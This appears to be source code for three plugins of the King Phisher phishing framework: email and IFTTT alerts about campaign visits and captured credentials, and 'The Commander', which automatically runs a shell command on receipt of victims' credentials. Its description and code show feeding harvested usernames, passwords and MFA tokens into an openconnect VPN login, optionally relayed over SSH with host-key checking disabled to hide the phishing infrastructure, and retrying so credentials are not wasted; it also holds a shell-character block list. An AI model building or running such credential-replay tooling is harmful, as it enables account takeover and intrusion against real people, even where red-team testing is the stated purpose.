class Plugin(plugins.ServerPlugin): authors = [ 'Austin DeFrancesco', 'Spencer McIntyre', 'Mike Stringer', 'Erik Daguerre' ] classifiers = ['Plugin :: Server :: Notifications :: Alerts'] title = 'Campaign Alerts: via Python 3 SMTPLib' description = """ Send campaign alerts via the SMTP Python 3 lib. This requires that users specify their email through the King Phisher client to subscribe to notifications. """ homepage = 'https://github.com/securestate/king-phisher-plugins' version = '1.1' # Email accounts with 2FA, such as Gmail, will not work unless "less secure apps" are allowed # Reference: https://support.google.com/accounts/answer/60610255 # Gmail and other providers require SSL on port 465, TLS will start with the activation of SSL options = [ plugin_opts.OptionString(name='smtp_server', description='Location of SMTP server', default='localhost'), plugin_opts.OptionInteger(name='smtp_port', description='Port used for SMTP server', default=25), plugin_opts.OptionString( name='smtp_email', description='SMTP email address to send notifications from', default=''), plugin_opts.OptionString( name='smtp_username', description='Username to authenticate to the SMTP server with'), plugin_opts.OptionString( name='smtp_password', description='Password to authenticate to the SMTP server with', default=''), plugin_opts.OptionBoolean( name='smtp_ssl', description='Connect to the SMTP server with SSL', default=False), plugin_opts.OptionString( name='email_jinja_template', description='Custom email jinja template to use for alerts', default=''), ] req_min_version = '1.12.0b2' def initialize(self): signals.campaign_alert.connect(self.on_campaign_alert) signals.campaign_alert_expired.connect(self.on_campaign_alert_expired) template_path = self.config['email_jinja_template'] if not template_path: template_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'template.html') if not os.path.isfile(template_path): self.logger.warning('invalid email template: ' + template_path) return False with open(template_path, 'r') as file_: template_data = file_.read() self.render_template = templates.TemplateEnvironmentBase().from_string( template_data) return True def on_campaign_alert(self, table, alert_subscription, count): return self.send_alert(alert_subscription) def on_campaign_alert_expired(self, camapign, alert_subscription): return self.send_alert(alert_subscription) def get_template_vars(self, alert_subscription): campaign = alert_subscription.campaign template_vars = { 'campaign': { 'id': str(campaign.id), 'name': campaign.name, 'created': campaign.created, 'expiration': campaign.expiration, 'has_expired': campaign.has_expired, 'message_count': len(campaign.messages), 'visit_count': len(campaign.visits), 'credential_count': len(campaign.credentials) }, 'time': { 'local': datetime.datetime.now(), 'utc': datetime.datetime.utcnow() } } return template_vars def create_message(self, alert_subscription): message = MIMEMultipart() message['Subject'] = "Campaign Event: {0}".format( alert_subscription.campaign.name) message['From'] = "<{0}>".format(self.config['smtp_email']) message['To'] = "<{0}>".format(alert_subscription.user.email_address) textual_message = MIMEMultipart('alternative') plaintext_part = MIMEText( 'This message requires an HTML aware email agent to be properly viewed.\r\n\r\n', 'plain') textual_message.attach(plaintext_part) try: rendered_email = self.render_template.render( self.get_template_vars(alert_subscription)) except: self.logger.warning('failed to render the email template', exc_info=True) return False html_part = MIMEText(rendered_email, 'html') textual_message.attach(html_part) message.attach(textual_message) encoded_email = message.as_string() return encoded_email def send_alert(self, alert_subscription): user = alert_subscription.user if not user.email_address: self.logger.debug( "user {0} has no email address specified, skipping SMTP alert". format(user.name)) return False msg = self.create_message(alert_subscription) if not msg: return False if self.config['smtp_ssl']: SmtpClass = smtplib.SMTP_SSL else: SmtpClass = smtplib.SMTP try: server = SmtpClass(self.config['smtp_server'], self.config['smtp_port'], timeout=15) server.ehlo() except smtplib.SMTPException: self.logger.warning( 'received an SMTPException while connecting to the SMTP server', exc_info=True) return False except socket.error: self.logger.warning( 'received a socket.error while connecting to the SMTP server') return False if not self.config['smtp_ssl'] and 'starttls' in server.esmtp_features: self.logger.debug( 'target SMTP server supports the STARTTLS extension') try: server.starttls() server.ehlo() except smtplib.SMTPException: self.logger.warning( 'received an SMTPException wile negotiating STARTTLS with SMTP server', exc_info=True) return False if self.config['smtp_username']: try: server.login(self.config['smtp_username'], self.config['smtp_password']) except smtplib.SMTPNotSupportedError: self.logger.debug( 'SMTP server does not support authentication') except smtplib.SMTPException as error: self.logger.warning( "received an {0} while authenticating to the SMTP server". format(error.__class__.__name__)) server.quit() return False mail_options = ['SMTPUTF8'] if server.has_extn('SMTPUTF8') else [] try: server.sendmail(self.config['smtp_email'], alert_subscription.user.email_address, msg, mail_options) except smtplib.SMTPException as error: self.logger.warning("received error {0} while sending mail".format( error.__class__.__name__)) return False finally: server.quit() self.logger.debug( "successfully sent an email campaign alert to user: {0}".format( user.name)) return True
class Plugin(plugins.ServerPlugin): authors = ['Spencer McIntyre'] title = 'IFTTT Campaign Success Notification' description = """ A plugin that will publish an event to a specified IFTTT Maker channel when a campaign has been deemed 'successful'. """ homepage = 'https://github.com/securestate/king-phisher-plugins' version = '1.0.1' options = [ plugin_opts.OptionString( name='api_key', description='Maker channel API key' ), plugin_opts.OptionString( name='event_name', description='Maker channel Event name' ), plugin_opts.OptionInteger( name='success_percentage', default=10, description='The percentage of visits to messages sent to require before triggering' ) ] def initialize(self): signals.db_session_inserted.connect(self.on_kp_db_event, sender='visits') return True def on_kp_db_event(self, sender, targets, session): campaign_ids = collections.deque() for event in targets: cid = event.campaign_id if cid in campaign_ids: continue if not self.check_campaign(session, cid): continue campaign_ids.append(cid) self.send_notification() def check_campaign(self, session, cid): campaign = db_manager.get_row_by_id(session, db_models.Campaign, cid) if campaign.has_expired: # the campaign can not be expired return False unique_targets = session.query(db_models.Message.target_email) unique_targets = unique_targets.filter_by(campaign_id=cid) unique_targets = float(unique_targets.distinct().count()) if unique_targets < 5: # the campaign needs at least 5 unique targets return False success_percentage = self.config['success_percentage'] success_percentage = min(success_percentage, 100) success_percentage = max(success_percentage, 0) success_percentage = float(success_percentage) / 100 unique_visits = session.query(db_models.Visit.message_id) unique_visits = unique_visits.filter_by(campaign_id=cid) unique_visits = float(unique_visits.distinct().count()) if unique_visits / unique_targets < success_percentage: # the campaign is not yet classified as successful return False if (unique_visits - 1) / unique_targets >= success_percentage: # the campaign has already been classified as successful return False return True def send_notification(self): try: resp = requests.post("https://maker.ifttt.com/trigger/{0}/with/key/{1}".format(self.config['event_name'], self.config['api_key'])) except Exception as error: self.logger.error('failed to post a notification of a successful campaign (exception)', exc_info=True) return if not resp.ok: self.logger.error('failed to post a notification of a successful campaign (request)') return self.logger.info('successfully posted notification of a successful campaign')
class Plugin(plugins.ServerPlugin): authors = ['Corey Gilks'] title = 'The Commander' description = """ Execute an action from the KP Server after new credentials are received. Originally this plugin was created to quickly authenticate to the targets VPN after new credentials are received. When the target is using MFA every second counts, so action must be taken quickly. Operators may be unable to respond fast enough therefore this plugin is needed. You can dynamically include the username, password and MFA values in your command by using the following python format string syntax: {username} = Username {password} = Password {mfa} = MFA Requirements: 1. The command you choose must be executable by the "setuid_username" in your server_config.yml 2. Commands should be non-blocking. Commands that block will make the KP server hang. Use screen, &, etc.. Local KP server execution: To execute openconnect on the KP server, do the following: 1. Create vpn.sh in /opt/scripts/vpn.sh with the following contents (ensure you can sudo without your password): echo $2'\n'$3 | sudo openconnect -u $1 --passwd-on-stdin <TARGET VPN URL> 2. In your server_config.yml add the following configuration: plugins: post_command: command: screen -dmS {username} bash -c "sh /opt/scripts/vpn.sh {username} {password} {mfa}" Now any submitted credentials will automatically create a screen session. The name of the screen session will be the username that was submitted. If no screen session exists after credentials were entered then the VPN tunnel was not successfully established. Remote server execute: If you are concerned about opsec, you likely do not want to execute a VPN tunnel from your phishing infrastructure. In this case follow step 1 from "Local KP server execution" and then add this into your server_config.yml: post_command: command: 'ssh -i /<YOUR USER>/.ssh/key.pem -oStrictHostKeyChecking=no root@<ANOTHER HOST> screen -dmS {username} "sh /opt/scripts/vpn.sh {username} {password} {mfa}"' This will SSH into <ANOTHER HOST> using key.pem without the need to accept a new SSH key fingerprint. Then a new screen session is opened under the victims username. If no screen session exists after credentials were entered then the VPN tunnel was not successfully established. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugin_opts.OptionString( 'command', 'Execute an arbitrary command from the KP server after receiving new credentials', default=None), plugin_opts.OptionString('mfa_required', 'Require MFA before executing a command', default=True), plugin_opts.OptionString( 'strip_domain', 'Strip domain out of the username (if it exists) so only the username remains', default=True), plugin_opts.OptionInteger('username_len', 'Maximum username length', default=104), plugin_opts.OptionInteger('mfa_len', 'Maximum mfa token length', default=10), plugin_opts.OptionInteger('password_len', 'Maximum password length', default=127), ] req_min_version = '1.4.0' # Whichever version implemented MFA version = '1.0' def initialize(self): self.logger.warning( 'Command will execute upon receiving credentials:\n' + self.config['command']) signals.db_session_inserted.connect(self.new_challenger_approaches, sender='credentials') return True def illegal_char_check(self, name, value): illegal_chars = [ '/', '\\', '[', ']', ':', ';', '|', '=', ',', '+', '*', '?', '<', '>', ' ', '&', '!', '~', '#', '%', '^', '(', ')', '{', '}' '`' ] for illegal in illegal_chars: if illegal in value: self.logger.warning( 'Aborting. Found illegal character in {0}: {1}'.format( name, illegal)) return True return False def new_challenger_approaches(self, sender, targets, session): for event in targets: # Order by most recent datetime query = session.query(db_models.Credential).order_by( desc(db_models.Credential.submitted)) query = query.filter_by(message_id=event.message_id) raw = query.first() username = raw.username password = raw.password mfa = raw.mfa_token self.logger.warning('New credentials submitted. Verifying..') if not username: self.logger.warning( 'No username submitted but someone posted a web response. Aborting' ) continue else: username = raw.username.strip() self.logger.warning('Username: {0}'.format(username)) if not password: self.logger.warning( 'No password submitted for {0}. Aborting'.format(username)) continue if not mfa: if self.config['mfa_required']: self.logger.warning( 'MFA is required but no MFA submitted for {0}. Aborting' .format(username)) continue mfa = '' else: mfa = raw.mfa_token.strip() if len(username) > self.config['username_len']: self.logger.warning( 'Username length is too long. Maximum is {0} but {1} was entered' .format(self.config['username_len'], len(username))) continue if len(mfa) > self.config['mfa_len']: self.logger.warning( 'MFA length is too long. Maximum is {0} but {1} was entered' .format(self.config['mfa_len'], len(mfa))) continue if len(password) > self.config['password_len']: self.logger.warning( 'Password length is too long. Maximum is {0} but {1} was entered' .format(self.config['password_len'], len(password))) continue if '\\' in username: if len(username.split()) > 2: self.logger.warning( 'Aborting due to too many backslashes in username: {0}' .format(username)) continue if self.config['strip_domain']: username = username.split('\\')[-1] if self.illegal_char_check('username', username): continue if self.illegal_char_check('MFA', mfa): continue username = re.escape(username) password = re.escape(password) mfa = re.escape(mfa) # Execute command logic here self.logger.warn('Command:\n{0}'.format( self.config['command'].format(username=username, password='******', mfa=mfa))) command = self.config['command'].format(username=username, password=password, mfa=mfa) command = shlex.split(command) while True: run = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True) if run.stdout: self.logger.warning('Command returned output:\n{0}'.format( run.stdout.decode('utf-8'))) # Sometimes SSH connections fail. Wouldn't want to waste creds, so let's try again! if b'Connection closed by remote host' in run.stdout: self.logger.warning( 'SSH Connection failed. Trying again..') continue elif run.stderr: self.logger.warning('Command returned error:\n{0}'.format( run.stderr.decode('utf-8'))) else: self.logger.warning( "Executed command. Nothing returned from stdout or stderr." ) break